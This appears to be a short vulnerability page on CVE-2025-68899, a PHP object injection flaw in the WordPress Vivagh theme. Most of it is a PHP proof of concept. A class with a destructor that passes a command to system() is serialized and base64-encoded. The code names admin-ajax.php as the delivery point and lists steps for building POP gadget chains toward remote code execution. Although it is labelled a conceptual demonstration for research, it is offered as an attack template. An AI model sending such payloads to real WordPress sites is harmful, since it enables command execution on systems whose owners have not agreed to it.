CVE-2025-68899: WordPress Vivagh主题不安全反序列化漏洞（对象注入）

<?php // CVE-2025-68899 PoC - PHP Object Injection in Vivagh Theme // This is a conceptual demonstration for security research // Example of malicious serialized payload structure // In real attack, this would be injected through vulnerable parameter class MaliciousClass { public $cmd; function __construct() { $this->cmd = 'whoami'; // or other malicious commands } function __destruct() { // This will be executed when object is destroyed system($this->cmd); } } // Generate malicious payload $malicious_object = new MaliciousClass(); $payload = serialize($malicious_object); echo "Malicious Payload: " . $payload . "\n"; echo "Base64 Encoded: " . base64_encode($payload) . "\n"; // In practice, attacker would send this payload through: // POST /wp-admin/admin-ajax.php (or other vulnerable endpoints) // Parameter: ?action=some_action&data=<serialized_payload> /* Real-world attack considerations: 1. Find the vulnerable parameter that triggers unserialize() 2. Identify available POP chain gadgets in the WordPress/Vivagh environment 3. Chain multiple objects to achieve desired impact (RCE, file read, etc.) 4. May need to bypass certain filters or character restrictions */ ?>